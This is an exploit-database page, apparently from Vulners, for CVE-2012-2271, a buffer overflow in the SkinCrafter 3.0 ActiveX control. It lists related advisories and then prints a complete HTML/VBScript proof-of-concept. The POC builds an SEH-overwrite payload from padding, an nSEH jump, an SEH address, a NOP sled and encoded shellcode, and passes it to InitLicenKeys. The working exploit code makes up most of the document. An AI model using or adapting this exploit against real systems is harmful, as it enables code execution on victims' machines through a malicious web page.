SkinCrafter ActiveX Control 3.0 - Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

SkinCrafter ActiveX Control 3.0 Buffer Overflow in InitLicenKeys functio

Reporter	Title	Published	Views	Family All 10
0day.today	SkinCrafter ActiveX Control version 3.0 Buffer Overflow	18 May 201200:00	–	zdt
0day.today	SkinCrafter 3.0 Buffer Overflow	18 May 201200:00	–	zdt
Circl	CVE-2012-2271	17 May 201200:00	–	circl
CVE	CVE-2012-2271	21 May 201220:00	–	cve
Cvelist	CVE-2012-2271	21 May 201220:00	–	cvelist
Exploit DB	SkinCrafter ActiveX Control 3.0 - Local Buffer Overflow	17 May 201200:00	–	exploitdb
exploitpack	SkinCrafter ActiveX Control 3.0 - Local Buffer Overflow	17 May 201200:00	–	exploitpack
NVD	CVE-2012-2271	21 May 201220:55	–	nvd
Packet Storm	SkinCrafter 3.0 Buffer Overflow	18 May 201200:00	–	packetstorm
Prion	Buffer overflow	21 May 201220:55	–	prion


                                                # Software  : SkinCrafter from NMSoft Technologies
# Version   : SkinCrafter version 3.0
# Title     : Buffer overflow in skincrafter3_vs2005.dll of skinCrafter vs3.0
# Link      : http://www.skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip
# Date      : May 17, 2012
# Tested on : XP SP2

# The vulnerability lies in the COM component used by the product SkinCrafter
# from DMSoft Technologies(http://www.dmsofttech.com/projects.html). This COM
# component, SkinCrafter3_vs2005.dll, implememnts a function InitLicenKeys,
# whose parameter is not checked for the bounds, hence leading to the
# overflow condition

====
POC:
====

&#60;html&#62;
Exploit !!!!!!!!!!!!!!!!!!!!!!!!!
&#60;object classid=&#39;clsid:B9D38E99-5F6E-4C51-8CFD-507804387AE9&#39; id=&#39;target&#39; &#62;&#60;/object&#62;
&#60;script language=&#39;vbscript&#39;&#62;
&#39;Exploit title: Buffer overflow in skincrafter3_vs2005.dll of skinCrafter vs3.0
&#39;Date: May 17, 2012
&#39;author: Saurabh Sharma(HCL Technologies) [email protected]
&#39;Software Link: http://www.skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip 
&#39;version: SkinCrafter version 3.0
&#39;Tested on : XP SP2
&#39;CVE-2012-2271

targetFile = &#34;C:\Program Files\SkinCrafter3\SkinCrafterDemo\SkinCrafterActiveX\SkinCrafter3_vs2005.dll&#34;
prototype  = &#34;Sub InitLicenKeys ( ByVal reg_name As String ,  ByVal company As String ,  ByVal email As String ,  ByVal licenkey As String )&#34;
memberName = &#34;InitLicenKeys&#34;
progid     = &#34;SKINCRAFTERLib.SCSkin3&#34;
argCount   = 4

shellcode= unescape(&#34;%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49&#34;) & _
unescape(&#34;%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68&#34;) & _
unescape(&#34;%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42&#34;) & _
unescape(&#34;%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a&#34;) & _
unescape(&#34;%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c&#34;) & _
unescape(&#34;%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45&#34;) & _
unescape(&#34;%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70&#34;) & _
unescape(&#34;%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c&#34;) & _
unescape(&#34;%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f&#34;) & _
unescape(&#34;%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d&#34;) & _
unescape(&#34;%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46&#34;) & _
unescape(&#34;%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77&#34;) & _
unescape(&#34;%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a&#34;) & _
unescape(&#34;%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f&#34;) & _
unescape(&#34;%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35&#34;) & _
unescape(&#34;%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d&#34;) & _
unescape(&#34;%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71&#34;) & _
unescape(&#34;%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f&#34;) & _
unescape(&#34;%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52&#34;) & _
unescape(&#34;%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61&#34;) & _
unescape(&#34;%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35&#34;) & _
unescape(&#34;%50%68&#34;)

arg1=String(1084, &#34;A&#34;)
nSeh=unescape(&#34;%eb%06%90%90&#34;)
seh=unescape(&#34;%bb%44%06%10&#34;)

nops=String(40,unescape(&#34;%90&#34;))
arg1=arg1+nSeh+seh+nops+shellcode
arg1=arg1+String(10000, &#34;D&#34;)
arg2=&#34;defaultV&#34;
arg3=&#34;defaultV&#34;
arg4=&#34;defaultV&#34;

target.InitLicenKeys arg1 ,arg2 ,arg3 ,arg4 

&#60;/script&#62;

01 Jul 2014 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.41696